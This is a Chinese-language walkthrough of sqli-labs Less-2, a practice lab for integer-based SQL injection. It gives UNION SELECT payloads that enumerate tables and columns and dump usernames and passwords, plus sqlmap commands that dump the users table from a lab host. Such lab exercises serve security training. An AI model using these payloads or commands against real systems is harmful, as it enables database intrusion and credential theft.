先来一遍基本流程
- 判断注入类型
- 判断字段数
- 判断回显点
- 暴库名
- 爆表名
- 爆字段名
- 查数据
手工注入
第二关没什么好说的了,思路和第一关大同小异,只是判断注入类型的时候,这里是整数型,也就是没有单引号,后面也不用加注释符号,这里需要注意的是,用到where 的时候,=的东西如果是字符串,不要忘记加 ‘ ‘ 。
然后就是命令再熟悉一下
爆表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
(schema是构架的意思)
爆字段名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='users' and table_schema ='security'
查数据
id=-1 union select 1,group_concat(username,1,password),3 from security.users
最后得出结果
利用sqlmap
安装:git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
详细用法可参考readme.md文件
爆库名
python sqlmap.py -u http://192.168.153.133/sqli-labs-master/Less-2/?id=1
这里推荐了4种注入方法,其实这一步做不做无所谓。主要是获取数据库名
注意:命令对大小写敏感
爆表
爆数据
执行
python sqlmap.py -u http://192.168.153.133/sqli-labs-master/Less-2/?id=1 -D security -T users --dump
同样也可以使用该命令格式爆其他表数据,如emalis
相比于手工注入简单多了哦